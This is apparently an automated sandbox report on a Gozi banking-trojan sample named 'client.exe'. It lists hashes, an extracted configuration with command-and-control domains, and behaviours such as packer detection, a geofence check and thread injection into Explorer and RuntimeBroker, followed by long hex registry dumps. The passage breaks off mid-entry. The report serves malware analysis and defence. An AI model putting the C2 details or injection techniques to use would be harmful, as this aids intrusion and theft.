Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
05-10-2023 10:04
Static task
static1
Behavioral task
behavioral1
Sample
client.exe
Resource
win7-20230831-en
General
-
Target
client.exe
-
Size
304KB
-
MD5
27b1d878636e00e43436184b70e9f41c
-
SHA1
b175d86922e1e837d8d74b588ff746ea7b8670df
-
SHA256
fe05e50be407f5efcb1870991f86ec721fd7088e92782a60aa815e0a68eb486e
-
SHA512
086b34070946d275ef50552969c6e561349299eb7eece513ca4504c84ad7810a02428a1540ecd715541139f500137209c94297a331dfa87c18afa2d91e24349e
-
SSDEEP
6144:R+91vEOpa6NK56upTHirwtRinshvjxdyhgAw8Fi5r+IxsN+:8Dsf4K56u1HqLshvjxia8Mr+/
Malware Config
Extracted
gozi
Extracted
gozi
5050
mifrutty.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
mifrutty.com
systemcheck.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Dave packer 1 IoCs
Detects executable using a packer named 'Dave' by the community, based on a string at the end.
Processes:
resource yara_rule behavioral2/memory/4568-1-0x00000000013E0000-0x00000000013EC000-memory.dmp dave -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 696 set thread context of 3176 696 powershell.exe Explorer.EXE PID 3176 set thread context of 3736 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 4068 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 4892 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 772 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 2608 3176 Explorer.EXE cmd.exe PID 3176 set thread context of 5036 3176 Explorer.EXE cmd.exe PID 2608 set thread context of 4736 2608 cmd.exe PING.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exeExplorer.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa8337a7-6ad6-4d8d- = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01bc522f-f458-4257- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001941946f73f7d9011941946f73f7d9011941946f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000303733643234383763376432663238353438616265393233373361643333356164346132396132303938343135383134393965346339646166323438363965630000b20009000400efbe4557a8504557a8502e00000000000000000000000000000000000000000000000000e754a100300037003300640032003400380037006300370064003200660032003800350034003800610062006500390032003300370033006100640033003300350061006400340061003200390061003200300039003800340031003500380031003400390039006500340063003900640061006600320034003800360039006500630000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30373364323438376337643266323835343861626539323337336164333335616434613239613230393834313538313439396534633964616632343836396563000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853323317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853323317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\10a7da26-c1aa-4ef4- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7bc0088eba699b92efa47081b58ef5b52a864bfaa41addce48899aae05b2dfe4" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f491ed8-d2c5-4b9a- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b1946a53-8f3b-4fca- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\cfc7d9ad22adbba8ffee5551330292bd003d3696cd1de6105ea9797a21b6c064" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b251cae-4cad-464f- = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\10a7da26-c1aa-4ef4- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\78440282-b777-44fc- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\073d2487c7d2f28548abe92373ad335ad4a29a209841581499e4c9daf24869ec" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\10a7da26-c1aa-4ef4- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f491ed8-d2c5-4b9a- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b1946a53-8f3b-4fca- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000be50e56f73f7d901be50e56f73f7d901be50e56f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000636663376439616432326164626261386666656535353531333330323932626430303364333639366364316465363130356561393739376132316236633036340000b20009000400efbe4557a8504557a8502e0000000000000000000000000000000000000000000000000042455000630066006300370064003900610064003200320061006400620062006100380066006600650065003500350035003100330033003000320039003200620064003000300033006400330036003900360063006400310064006500360031003000350065006100390037003900370061003200310062003600630030003600340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63666337643961643232616462626138666665653535353133333032393262643030336433363936636431646536313035656139373937613231623663303634000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853623317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853623317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\78440282-b777-44fc- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000f39a507073f7d901e834ab7073f7d901e834ab7073f7d9018a9808000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000303733643234383763376432663238353438616265393233373361643333356164346132396132303938343135383134393965346339646166323438363965630000b20009000400efbe4557a8504557a8502e00000000000000000000000000000000000000000000000000e754a100300037003300640032003400380037006300370064003200660032003800350034003800610062006500390032003300370033006100640033003300350061006400340061003200390061003200300039003800340031003500380031003400390039006500340063003900640061006600320034003800360039006500630000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30373364323438376337643266323835343861626539323337336164333335616434613239613230393834313538313439396534633964616632343836396563000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853b23317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853b23317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\10a7da26-c1aa-4ef4- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000334b617073f7d90179beb47073f7d90179beb47073f7d9012e1407000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000376263303038386562613639396239326566613437303831623538656635623532613836346266616134316164646365343838393961616530356232646665340000b20009000400efbe4557a8504557a8502e0000000000000000000000000000000000000000000000000013b88400370062006300300030003800380065006200610036003900390062003900320065006600610034003700300038003100620035003800650066003500620035003200610038003600340062006600610061003400310061006400640063006500340038003800390039006100610065003000350062003200640066006500340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37626330303838656261363939623932656661343730383162353865663562353261383634626661613431616464636534383839396161653035623264666534000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853d23317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853d23317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa8337a7-6ad6-4d8d- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b251cae-4cad-464f- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\78440282-b777-44fc- = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f491ed8-d2c5-4b9a- = 1e3f9e7173f7d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000005b3df16f73f7d9015b3df16f73f7d9015b3df16f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000623565316265663834303264323037643136613738313362363263343462633362356239316638346338373031613864393162313339616233383636353263350000b20009000400efbe4557a8504557a8502e00000000000000000000000000000000000000000000000000a5584400620035006500310062006500660038003400300032006400320030003700640031003600610037003800310033006200360032006300340034006200630033006200350062003900310066003800340063003800370030003100610038006400390031006200310033003900610062003300380036003600350032006300350000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62356531626566383430326432303764313661373831336236326334346263336235623931663834633837303161386439316231333961623338363635326335000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853723317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853723317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\4111bde53dd41ee17abf72377c4a0e7112293fd0b06e8216de61e408f05d2591" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b1946a53-8f3b-4fca- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local 